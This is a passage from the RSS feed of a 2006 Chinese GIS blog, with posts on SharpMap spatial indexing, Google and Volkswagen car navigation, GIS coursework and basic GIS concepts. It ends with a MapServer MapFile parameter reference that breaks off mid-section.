				<br />三。 对SharpMap 的引介和剖析<br /><br />需要说明的是不同的数据源的GetFeaturesInView方法实现方法是不同的，目前版本的Shape数据源的Provider是使用了空间索引算法，PostGIS数据源则通过PostGIS的空间索引接口来获取需要的数据。<br /><br /><strong>系统效率的好坏，基本上就在于这里，一个是如何获取视图内的空间对象，关键在于空间索引；一个是渲染机制，例如使用DirectX加快渲染。</strong></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6347.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 20:06 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6347.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Google 将携手大众，开发新一代汽车导航系统</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6338.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 09:52:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6338.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6338.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6338.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6338.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6338.html</trackback:ping><description><![CDATA[
		<div class="textbox-content" id="textboxContent">
				<p>转自<a href="http://gisattic.cnblogs.com/">linlin</a>，原文：<a href="http://gisattic.cnblogs.com/archive/2006/02/04/325349.html">http://gisattic.cnblogs.com/archive/2006/02/04/325349.html</a></p>
				<p> </p>
				<p>       据说 <a href="http://www.google.com/">Google</a> 将和 <a href="http://www.vwerl.com/">大众电子研究所</a>、<a href="http://www.nvidia.com/page/home.html">nVidia</a> 合作，在现有的 <a href="http://earth.google.com/">Google Earth</a> 基础上，采用最新的3D图形技术，开发新一代汽车导航系统。也许在不久的将来，无论是司机还是乘客，坐在车里面就能通过 Google Earth 轻松了解周围的地理情况，并知道自己所处的位置。<br />        看来Google的胃口还真不小，预计可达上百亿美元的汽车导航市场，可能就此改观。下边是一些截图，让大家先睹为快。<br /><a href="http://www.chunkysalsa.net/uploaded_images/Figure%2011_lr-783819.jpg"><br /><img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.chunkysalsa.net/uploaded_images/Figure%2011_lr-780585.jpg" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" /></a><br /><a href="http://www.chunkysalsa.net/uploaded_images/Figure%203_lr-793128.jpg"><img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.chunkysalsa.net/uploaded_images/Figure%203_lr-790993.jpg" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" /></a><br /><a href="http://www.chunkysalsa.net/uploaded_images/Figure%202_lr-797311.jpg"><img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.chunkysalsa.net/uploaded_images/Figure%202_lr-794712.jpg" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" /></a><br /><a href="http://www.chunkysalsa.net/uploaded_images/Figure%204_lr-701933.jpg"><img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.chunkysalsa.net/uploaded_images/Figure%204_lr-799884.jpg" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" /></a><br /><br />原始的新闻链接来自于一下连接，感兴趣的朋友，可自行了解。<br /><a href="http://www.chunkysalsa.net/2006/02/vw-and-google-to-explore-future-nav.html#links">http://www.chunkysalsa.net/2006/02/vw-and-google-to-explore-future-nav.html#links</a><br /><a href="http://gadgets.autoblog.com/2006/02/03/vw-to-use-google-earth-for-the-best-in-navigation-technology/">http://gadgets.autoblog.com/2006/02/03/vw-to-use-google-earth-for-the-best-in-navigation-technology/</a><br /></p>
		</div>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6338.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 17:52 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6338.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GIS专业课程</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6331.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 08:56:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6331.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6331.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6331.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6331.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6331.html</trackback:ping><description><![CDATA[GIS专业课程：<br /><p>*高等数学A<br />线性代数<br />概率统计<br />*大学物理B<br />大学物理实验B<br />微机应用基础B<br />*VB语言程序设计*自然地理学<br />*地图学 <br />*数据库原理<br />*摄影测量学<br />*测量学B<br />*地理信息系统原理<br />*面向对象程序设计及应用<br />*数字化成图原理及应用<br />*遥感原理与应用<br />*数据结构<br />经济地理学<br />DELPHI程序设计<br />*ARCGIS软件基础<br />地籍与房产测量学*计算机图形学<br />测量数据处理<br />专业英语<br />文献检索<br />土地管理学<br />数字图像处理 <br />城市规划原理<br />动态网页设计</p><p>人文地理学<br />城市地理学<br /></p><p>CAD基础<br />Microstation入门与提高<br />微型计算机原理<br />土木工程概论<br />*GIS分析与设计<br />*GPS技术与应用<br />*GIS应用<br />WebGIS概论<br />土地管理信息系统<br />空间数据库<br />资源环境调查与评价<br />数字地球概论<br />GIS数据质量控制<br />GIS流行软件使用<br />软件工程<br />房地产经营与管理<br />三维GIS概论<br />3S集成技术<br />计算机上机实习<br />数据库原理课程设计<br />测量学B实习<br />面向对象程序设计及应用课程设计<br />数字化成图原理及应用实习<br />GPS定位技术与应用实习<br />GIS应用与开发课程设计<br />遥感原理与应用课程设计<br />GIS分析与设计课程设计<br />GIS综合实习<br />毕业设计<br /></p><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6331.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 16:56 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6331.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是GIS</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6319.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 07:03:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6319.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6319.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6319.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6319.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6319.html</trackback:ping><description><![CDATA[
		<p>物质世界中的任何地物都被牢牢地打上了时空的烙印。人们的生产和生活中 80%以上的信息和地理空间位置有关。地理信息系统（Geographic Information System, 简称GIS）作为获取、处理、管理和分析地理空间数据的重要工具、技术和学科，近年来得到了广泛关注和迅猛发展。 </p>
		<p>从技术和应用的角度， GIS是解决空间问题的工具、方法和技术；从学科的角度，GIS是在地理学、地图学、测量学和计算机科学等学科基础上发展起来的一门学科，具有独立的学科体系； 从功能上，GIS具有空间数据的获取、存储、现示、编辑、处理、分析、输出和应用等功能；从系统学的角度，GIS具有一定结构和功能，是一个完整的系统。<br /><img style="WIDTH: 500px; CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.3snews.net/blog/uploadfile/200572815533582.GIF" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" /></p>
		<p>
				<strong>GIS</strong>
				<span class="word">
						<strong>的应用领域有哪些<br /><br /></strong>
				</span>
				<br />
		</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="0" width="600" align="center" border="0">
				<tbody>
						<tr>
								<td class="word">
										<p>  地理信息系统在最近的 30多年内取得了惊人的发展，广泛应用于资源调查、环境评估、灾害预测、国土管理、城市规划、邮电通讯、交通运输、军事公安、水利电力、公共设施管理、农林牧业、统计、商业金融等几乎所有领域。 </p>以下地理信息系统的应用领域分别回答了在各自领域内的作用<br /><br /><br />资源管理(<span class="enword">Resource Management</span>)<br /><br /><br />  主要应用于农业和林业领域，解决农业和林业领域各种资源(如土地、森林、草场) 分布、分级、统计、制图等问题。主要回答“定位”和“模式”两类问题。<br /><br /><br />资源配置(<span class="enword">Resource Configuration</span>) <br /><br /><br />  在城市中各种公用设施、救灾减灾中物资的分配、全国范围内能源保障、粮食供 应等到机构的在各地的配置等都是资源配置问题。GIS在这类应用中的目标是保证 资源的最合理配置和发挥最大效益。  <br /><br /><br />城市规划和管理(<span class="enword">Urban Planning and Management</span>)  <br /><br /><br />  空间规划是GIS的一个重要应用领域，城市规划和管理是其中的主要内容。例如， 在大规模城市基础设施建设中如何保证绿地的比例和合理分布、如何保证学校、 公共设施、运动场所、服务设施等能够有最大的服务面(城市资源配置问题)等。 <br /><br /><br />土地信息系统和地籍管理(<span class="enword">Land Information System and Cadastral Applicaiton</span>)  <br /><br /><br />  土地和地籍管理涉及土地使用性质变化、地块轮廓变化、地籍权属关系变化等许 多内容，借助GIS技术可以高效、高质量地完成这些工作。  <br /><br /><br />生态、环境管理与模拟(<span class="enword">Environmental Management and Modeling</span>) <br /><br /><br />  区域生态规划、环境现状评价、环境影响评价、污染物削减分配的决策支持、环 境与区域可持续发展的决策支持、环保设施的管理、环境规划等。  <br /><br /><br />应急响应(<span class="enword">Emergency Response</span>) <br /><br /><br />  解决在发生洪水、战争、核事故等重大自然或人为灾害时，如何安排最佳的人员 撤离路线、并配备相应的运输和保障设施的问题。 <br /><br /><br />地学研究与应用(<span class="enword">Application in GeoScience</span>) <br /><br /><br />  地形分析、流域分析、土地利用研究、经济地理研究、空间决策支持、空间统计 分析、制图等都可以借助地理信息系统工具完成。ArcInfo系统就是一个很好的 地学分析应用软件系统。 <br /><br /><br />商业与市场(<span class="enword">Business and Marketing</span>) <br /><br /><br />  商业设施的建立充分考虑其市场潜力。例如大型商场的建立如果不考虑其他商场 的分布、待建区周围居民区的分布和人数，建成之后就可能无法达到预期的市场 和服务面。有时甚至商场销售的品种和市场定位都必须与待建区的人口结构(年 龄构成、性别构成、文化水平)、消费水平等结合起来考虑。地理信息系统的空 间分析和数据库功能可以解决这些问题。 　 房地产开发和销售过程中也可以利用GIS功能进行决策和分析。 <br /><br /><br />基础设施管理(<span class="enword">Facilities Managemen</span>t)  <br /><br /><br />  城市的地上地下基础设施(电信、自来水、道路交通、天然气管线、排污设施、 电力设施等)广泛分布于城市的各个角落、且这些设施明显具有地理参照特征的。 它们的管理、统计、汇总都可以借助GIS完成，而且可以大大提高工作效率。  <br /><br /><br />选址分析(<span class="enword">Site Selecting Analysis</span>) <br /><br /><br />  根据区域地理环境的特点，综合考虑资源配置、市场潜力、交通条件、地形特征、 环境影响等因素，在区域范围内选择最佳位置，是GIS的一个典型应用领域，充 分体现了GIS的空间分析功能。 <br /><br /><br />网络分析(<span class="enword">Newwork System Analysis</span>) <br /><br /><br />  建立交通网络、地下管线网络等的计算机模型，研究交通流量、进行交通规则、 处理地下管线突发事件(爆管、断路)等应急处理。 　 警务和医疗救护的路径优选、车辆导航等也是GIS网络分析应用的实例。  <br /><br /><br />可视化应用(<span class="enword">Visualization Application</span>)  <br /><br /><br />  以数字地形模型为基础，建立城市、区域、或大型建筑工程、著名风景名胜区的 三维可视化模型，实现多角度浏览，可广泛应用于宣传、城市和区域规划、大型 工程管理和仿真、旅游等领域。  <br /><br /><br />分布式地理信息应用(<span class="enword">Distributed Geographic Information Applicatio</span>n) <br /><br /><br />  随着网络和Internet技术的发展，运行于Intranet或Internet环境下的地理信息 系统应用类型，其目标是实现地理信息的分布式存储和信息共享，以及远程空间 导航等。 </td>
						</tr>
				</tbody>
		</table>
		<p>
				<strong>
				</strong> </p>
		<p>
				<strong>
						<font color="#1111ee">GIS<span class="EN8"><span class="word">和</span></span><span class="enword">GPS</span></font>
				</strong>
				<span class="EN8">
						<span class="word">
								<strong>
										<font color="#1111ee">有什么关系</font>
										<br />
								</strong>
						</span>
				</span>
		</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="0" width="600" align="center" border="0">
				<tbody>
						<tr>
								<td>
										<p class="word">准确地说，<span class="enword">GPS(Global Positioning System)</span>是美国的一种卫星定位系统(全世界还有其他国家和地区的卫星定位系统，如我国正在研制的“北斗导航定位系统”)。相对于GIS来说，卫星定位系统为更多的人所熟悉，已越来越多地进入人们的生产和生活，如测绘、野外数据采集、车辆导航、旅游等方面。 </p>
										<p class="word">  通过GPS可以获得任意接收点的空间位置坐标数据，还可用于测时、测速。对于GIS来说，GPS提供了一种极为重要的实时、动态、精确获取空间数据的方法，是GIS的重要数据源，GPS大大地拓展了GIS的应用领域和应用方式。而对于GPS来说，GIS是一种重要的空间数据处理、集成和应用工具。二者紧密联系，共同开创和深化更多领域的空间应用。</p>
										<p class="word">
												<span class="enword">GIS</span>
												<span class="word">由哪几部分组成 <br /><br /><br /></span>
										</p>
										<table cellspacing="0" cellpadding="0" width="600" border="0">
												<tbody>
														<tr>
																<td>
																		<p class="word">  从应用的角度，地理信息系统由硬件、软件、数据、人员和方法五部分组成。硬件和软件为地理信息系统建设提供环境；数据是 GIS的重要内容；方法为GIS建设提供解决方案；人员是系统建设中的关键和能动性因素，直接影响和协调其它几个组成部分。<br /><br /></p>
																		<table cellspacing="0" cellpadding="0" width="100" align="center" border="0">
																				<tbody>
																						<tr>
																								<td>
																										<img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://www.3snews.net/blog/uploadfile/2005728155637916.GIF" onload="javascript:if(this.width&gt;500)this.style.width=500;" border="0" />
																								</td>
																						</tr>
																				</tbody>
																		</table>
																		<br />
																		<p class="word">  硬件主要包括计算机和网络设备，存储设备，数据输入、显示和输出的外围设备等等。 </p>
																		<p class="word">
																				<br />  软件主要包括以下几类： <br />    ——操作系统软件 <br />    ——数据库管理软件 <br />    ——系统开发软件 <br />    ——GIS软件，等等。 <br />  GIS软件的选型，直接影响其它软件的选择，影响系统解决方案，也影响着系统建设周期和效益。 </p>
																		<p class="word">
																				<br />  数据是GIS的重要内容，也是GIS系统的灵魂和生命。数据组织和处理是GIS应用系统建设中的关键环节，涉及许多问题： <br />    ——应该选择何种（或哪些）比例尺的数据？ <br />    ——已有数据现势性如何？ <br />    ——数据精度是否能满足要求？ <br />    ——数据格式是否能被已有的GIS软件集成？ <br />    ——应采用何种方法进行处理和集成？ <br />    ——采用何种方法进行数据的更新和维护，等等。 </p>
																		<p class="word">  方法指系统需要采用何种技术路线，采用何种解决方案来实现系统目标。方法的采用会直接影响系统性能，影响系统的可用性和可维护性。 </p>
																		<p class="word">
																				<br />  人是GIS系统的能动部分。人员的技术水平和组织管理能力是决定系统建设成败的重要因素。系统人员按不同分工有项目经理、项目开发人员、项目数据人员、系统文档撰写和系统测试人员等。各个部分齐心协力、分工协作是GIS系统成功建设的重要保证。 </p>
																		<p>
																				<span class="word">  GIS应用系统建设需要从以上五个方面着手。 </span>
																		</p>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6319.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-04-26 15:03 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6319.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MapFile文件</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6300.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 26 Apr 2006 03:29:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6300.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6300.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/04/26/6300.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6300.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6300.html</trackback:ping><description><![CDATA[Map Object<br />Map Object是MapFile的根对象，其他对象都包含在其中。它属性定义应用程序的大部分参数。Map Object的属性如下：<br />1，DATAPATTERN [正则表达式]<br />该参数定义了由URLs改变DATA参数（如：map_layername_data=...）的表达式。<br />2，DEBUG<br />允许调试。调试的详细结果被放在STDERR（the standard error output），如果在Web Object使用了LOG参数则放在MapServer logfile文件中。<br />3，EXTENT [minx] [miny] [maxx] [maxy]<br />地图边界<br />4，FONTSET [filename]<br />使用得字体文件，如：C:\WINDOWS\Fonts\myfonts.txt。<br />5，IMAGECOLOR [r] [g] [b]<br />设置地图背景颜色。r，g，b分别为红、绿、蓝。<br />6，IMAGEQUALITY [int]<br />JPEG格式输出得质量。更为普遍得做法是在OUTPUTFORMAT 的声明中，在FORMATOPTION 中使用"QUALITY=n" 来说明。<br />7，IMAGETYPE [gif|png|jpeg|wbmp|gtiff|swf|userdefined]<br />输出格式。可选项在OUTPUTFORMAT中定义。<br />8，INTERLACE [on|off]<br />输出图像是否允许交错，缺省下是[on]。更为普遍的做法是在OUTPUTFORMAT的FORMATOPTION中使用 "INTERLACE=ON" 设置。<br />9，NAME [name]<br />由此MapFile文件生成的map，比例，图例图像名前缀。尽量简短。<br />10，RESOLUTION [int]<br />设置输出图像每英寸象素个数，仅对比例有影响。缺省是72。<br />11，SCALE [double]<br />设置地图比例，通常由应用程序设置。<br />12，SHAPEPATH [filename]<br />Shapfile文件夹路径。<br />13，SIZE [x][y]<br />输出图像大小。<br />14，STATUS [on|off]<br />设置地图状态是否被激活。如有时为了仅使用reference map或 scale bar，把此设为off<br />15，SYMBOLSET [filename]<br />使用的标志符号文件。<br />16，TEMPLATEPATTERN [regular expression]<br />该参数定义了由URLs改变TEMPLATE参数（如：map_layername_template=...）的表达式。<br />17，TRANSPARENT [on|off]<br />设置地图背景颜色是否透明，缺省是off.。<br />18，UNITS [feet|inches|kilometers|meters|miles|dd]<br />地图坐标系的单位，用于比例尺，及比例计算。<br />Map Object允许嵌套的对象：PROJECTION，QUERYMAP，REFERENCE，SCALEBAR，SYMBOL，WEB，LAYER，LEGEND。<br /><br /><br />Layer Object<br />Layer Object图层对象与使用的每个图层相对应，一个MapFile允许有50个，可以通过修改源代码改变。在MapFile文件中首先定义的Layer处在地图最底层，最后定义的在地图顶层。Layer Object属性：<br />1， CONNECTIONTYPE [local|sde|ogr|postgis|oraclespatial|wms]<br />连接的数据源，缺省是本地。 <br />2，CONNECTION [string]<br />配置远程数据连接。<br />An SDE 的连接字符串格式：“hostname, instance name, database name, username ，password ”。<br />PostGIS 的连接字符串与PostgreSQL连接相同。格式：“user=nobody password=****** dbname=dbname host=localhost port=5432”。<br />Oracle 连接格式：user/pass[@db]<br />3， DATA [filename]|[sde parameters][postgis table/column][oracle table/column]<br />使用的空间数据文件。并非一定要shapefile文件格式。<br />如果式SDE数据，参数应包含图层名称和geometry column，如"mylayer,shape"。<br />如果式 PostGIS 图层, 参数格式：<br />“&lt;columnname&gt; from &lt;tablename&gt;”，其中“columnname” 是含有geometry objects的<br />Column的名字；"tablename"是使用的geometry data的table名字。<br />如果是Oracle, 参数格式： "shape FROM table" 或 "shape FROM (SELECT statement)" 或更为复杂的Oracle查询。<br />4， DEBUG<br />对Layer Object调试。<br />5， DUMP [true|false]<br />确认MS是否可以返回GML格式数据。当使用 WMS GetFeatureInfo选项是有用，缺省是fault。<br />6，FILTER [string]<br />该字符串保证在Class表达式被检测之前data specific attribute 过滤与spatial 过滤同步，OGR和shapefiles 的字符串设置是一个简单的MS表达式，对于spatial databases 该字符串是一个SQL WHERE 字句。如： FILTER “type='road' and size &lt;2“。<br />7，FILTERITEM [attribute]<br />FILTER expressions使用的项目，仅用于OGR和shapefiles。<br />8，FOOTER [filename]<br />使用的模板文件，仅用与Multiresult query modes。<br />10，GROUP [name]<br />Layer所属的组名。可以对一个组进行操作。 <br />11，HEADER [filename]<br />使用的模板文件仅用于Multiresult query modes。<br />12，LABELANGLEITEM [attribute]<br />属性表中使用的字段名，用于class annotation angles，值应是用度表示。<br />13，LABELCACHE [on|off]<br />指定标记（Labels）在图层绘制时是否被绘制成该图层的特征或者它们先隐藏，在所有图层皆绘制后在显示。缺省是on。只有Label cache激活时，Label 重叠移动，自动布局才可用。<br />14，LABELITEM [attribute]<br />用于 class annotation (如 labeling)的属性表中的字段名。<br />15，LABELMAXSCALE [double]<br />图层标记的最大比例。<br />16，LABELMINSCALE [double]<br />图层标记的最小比例。<br />17，LABELREQUIRES [expression]<br />设置该图层标记是否显示。如：<br />LABELREQUIRES ([orthoquads] != 1)意味着如果有一个叫“orthoquads “处于激活<br />状态，那么该图层不能有标记。表达式（Expression）是一个boolen表达式，如果<br />一图层的Status是on则 [layer name] ＝1，否则[layer name] ＝0。<br />17，LABELSIZEITEM [attribute]<br />用于Class注释尺寸的属性表中的字段名。值必须是以像元为单位。<br />19，MAXFEATURES [integer]<br />指定在当前窗口中绘制该图层的特征最大数量。<br />20，MAXSCALE [double]<br />绘制图层的最大比例。<br />21，METADATA<br />METADATA以END结尾。可以在其中加入任何说明。用于定义OGC WMS的要素。 其中的说明可以被template tags访问，从而增强创建template文件的弹性。如：<br />METADATA title "My layer title"<br />author "Me!" END<br />22，MINSCALE [double]<br />绘制该图层的最小比例。<br />23，NAME [string]<br />图层名称。允许有20个字符。它可以连接mapfile文件和web interfaces。<br />24，OFFSITE [r] [g] [b]<br />设置栅格图层的transparent颜色索引。<br />25，POSTLABELCACHE [true|false]<br />选择true则MS在绘制处于cache中的全部label 后，绘制此图层。缺省是fault。<br />对于增加neatlines 和简单的elements非常有用。<br />26，PROCESSING [string]<br />向图层发送处理指令。不同类型的图层和处理指令的程序支持不同的指令。<br />当前的栅格图像支持（由GDAL处理）：SCALE,BANDS 和DITHER。例如：<br />PROCESSING "SCALE_1=AUTO" PROCESSING "SCALE_2=AUTO" PROCESSING "SCALE_3=AUTO" PROCESSING "BANDS=3,2,1,4"<br />27，REQUIRES [expression]<br />与LABELREQUIRES作用相同。<br />28，SIZEUNITS [pixels|feet|inches|kilometers|meters|miles]<br />设置Class对象的单位缺省是pixels。对simulating buffering由用。<br />29，STATUS [on|off|default]<br />设置该图层的状态。缺省是on。<br />30，STYLEITEM [attribute]<br />用于feature specific styling的字段。设置非常经验化，但前仅用于OGR。 <br />31，SYMBOLSCALE [double]<br />文本或符号显示的比例。允许图层随map的比例发生动态大小变化。如果没有设置那么图层的尺寸一直都不会变化。与MINSIZE和MAXSIZE 有关系。<br />32，TEMPLATE [file|url]<br />作为CLASS TEMPLATE的全局替换。<br />33，TILEINDEX [filename]<br />该图层的索引或tile定义文件，类似与ArcInfo 的库索引，此shapefile文件包含每一个tile的多边行特征。包含tiled数据路径的字段由参数TILEITEM给出。如果参数DATA 含有一个值那么它就被添加到路径的末尾。如果DATA 为空那么路径应含有完整的文件名。<br />34，TILEITEM [attribute]<br />含有tile路径的字段，缺省为“location”。<br />35，TOLERANCE [double]<br />对点查询敏感度。（如 鼠标点击或 map coordinates）。在TOLERANCEUNITS中给出（缺省为3 pixels）。为了限制polygon查找，将polygon容差设为0。.<br />36，TOLERANCEUNITS [pixels|feet|inches|kilometers|meters|miles|dd]<br />TOLERANCE值的单位，缺省为pixels。<br />37，TRANSPARENCY [integer]<br />设置图层的所有像元的transparency 水平。值在0～100之间。100表示不透明，0表示完全透明。<br />38，TRANSFORM [true|false]<br />确认一个图层是否需要从一个地理坐标系向图像坐标系转换。缺省为true。此参数允许创建shapefile为图像坐标系。因此有些特征总是在同一副图的相同位置显示。须注意，图像坐标系的坐标原点在左上角，y轴朝下，x轴朝右。<br />39，TYPE [point|line|polygon|circle|annotation|raster|query]<br />指明数据怎样绘制。无须与shapefile 文件类型一致。例如一个多边形shapefile文件以点图层绘制。但是点shapefile 文件不可以以多边形图层绘制。<br />40，CLASSITEM [attribute]<br />用于Class的字段。<br />Layer Object可以嵌套的对象：Class，FEATURE，PROJECTION。<br /><br /><br />Grid Object<br />Grid Obect定义地图的格网。它是在Layer Object对象中定义的。<br />1， LABELFORMAT [DDMM|DDMMSS] <br />标签格式。“DDMM”是 度、分格式，“DDMMSS” 是 度、分、秒格式。 缺省是小数格式。 2，MINARCS [double]<br />绘制弧段的最小数量。 <br />3，MAXARCS [double]<br />绘制弧段的最大数量。 <br />4，MININTERVAL [double<br />最小间隔数量 <br />5，MAXINTERVAL [double] <br />最大间隔数量 <br />6，MINSUBDIVIDE [double] <br />绘制弧段允许的最少分段。<br />7， MAXSUBDIVIDE [double] <br />绘制弧段允许的最多分段。<br />例子：<br />LAYER<br />NAME "grid"<br />METADATA<br />"DESCRIPTION" "Grid"<br />END<br />TYPE LINE<br />STATUS ON<br />CLASS<br />NAME "Graticule"<br />COLOR 0 0 0<br />LABEL<br />COLOR 255 0 0<br />FONT fritqat<br />TYPE truetype<br />SIZE 8<br />POSITION AUTO <br />PARTIALS FALSE<br />BUFFER 5<br />OUTLINECOLOR 255 255 255 <br />END <br />END<br />PROJECTION<br />"init=epsg:4326"<br />END<br />GRID<br />LABELFORMAT DDMM<br />MAXARCS 10<br />MAXINTERVAL 10<br />MAXSUBDIVIDE 2<br />END<br />END # Layer<br />Grid Object无可嵌套的对象。<br /><br /><br />Scalebar Object<br />Scalebar Object定义比例尺如何创建。但前比例尺字体不支持TrueType字体。比例尺图像的大小在创建之前是未知的，所以在template文件中使用&lt;IMG&gt;标记时，不要指明比例尺图像的大小。<br />1，BACKGROUNDCOLOR [r] [g] [b]<br />比例尺的背景色。不是输出的比例尺图像的背景色。<br />2，COLOR [r] [g] [b]<br />当属性表不被使用时，所有比例尺要素的输出颜色。<br />3，IMAGECOLOR [r] [g] [b]<br />比例尺初始化时颜色。<br />4，INTERLACE [true|false]<br />输出比例尺图像是否允许交错，缺省下是[on]。更为普遍的做法是在OUTPUTFORMAT的FORMATOPTION中使用 "INTERLACE=ON" 设置<br />5，INTERVALS [integer]<br />比例尺间隔数量。缺省为4。<br />6，OUTLINECOLOR [r] [g] [b]<br />各个intervals的轮廓颜色。缺省时-1（比例尺各个部分无轮廓）。<br />7，POSITION [ul|uc|ur|ll|lc|lr]<br />放置比例尺的位置，缺省为lr。<br />8，POSTLABELCACHE [true|false]<br />仅对嵌入的比例尺有用，选择true则MS在绘制处于cache中的全部label 后，嵌入比例尺。缺省是false。<br />9，SIZE [x][y]<br />比例尺的尺寸，以pixel为单位。文本不计算在内。<br />10，STATUS [on|off|embed]<br />确认是否创建比例尺输出图像及是否要被嵌入到一个输出图像。缺省是off.。<br />11，STYLE [integer]<br />选择比例尺式样（style），0或1。<br />12，TRANSPARENT [on|off]<br />设置比例尺背景颜色是否透明，缺省是off.。现在更为流行的做法是在OUTPUTFORMAT 中声明。 <br />13，UNITS [feet|inches|kilometers|meters|miles]<br />比例尺单位，缺省是米。<br />Scalebar Object允许嵌入LABEL对象。<br /><br /><br />Legend Object<br />定义一个图例。图例的内容从layer的class中获得。在class的name属性中设置使用的lengend即可。图例的大小在创建之前是未知的，所以在template文件中使用&lt;IMG&gt;标记时，不要指明图例的大小。<br />1，IMAGECOLOR [r] [g] [b]<br />图例初始化时颜色。<br />2，INTERLACE [on|off]<br />输出图像是否允许交错，缺省下是[on]。更为普遍的做法是在OUTPUTFORMAT的FORMATOPTION中使用 "INTERLACE=ON" 设置。<br />3，OUTLINECOLOR [r] [g] [b]<br />图例中符号轮廓颜色。<br />4，POSITION [ul|uc|ur|ll|lc|lr]<br />放置图例的位置，缺省为lr。<br />5，KEYSIZE [x][y]<br />图例符号大小。缺省是：20 10。<br />6，KEYSPACING [x][y]<br />文字距离：x；图例中符号的距离 ：y ；以pixel为单位。缺省为5 5。<br />7，POSTLABELCACHE [true|false]<br />选择true则MS在绘制处于cache中的全部label 后，绘制此图例。缺省是fault。<br />对于增加neatlines 和简单的elements非常有用。<br />8，STATUS [on|off|embed]<br />决定图例输出图像是否创建。<br />9，TRANSPARENT [on|off]<br />确认图例背景颜色是否透明。更为普遍的做法是在OUTPUTFORMAT 中声明， 缺省为off。<br />Lengend Object允许嵌套的对象：LABEL。<br /><br /><br />Projection Object<br />Projection Object设置投影。必须定义两种投影对象。一种用于说明输出图像投影 （在 MAP object中定义） ，另一种用于各个图层（在 LAYER objects种定义) 投影描述。Projection objects含有一系列 PROJ.4 关键字。例如：UTM zone 15, NAD83投影描述成：<br />PROJECTION<br />"proj=utm"<br />"ellps=GRS80"<br />"zone=15"<br />"north"<br />"no_defs"<br />END<br />地理坐标系定义：<br />PROJECTION<br />"proj=latlong"<br />END<br />详细资料：PROJ.4 user guides。<br /><br /><br />Label Object<br />Label Object用于定义注释特征的文本标签，或者通过使用TrueType 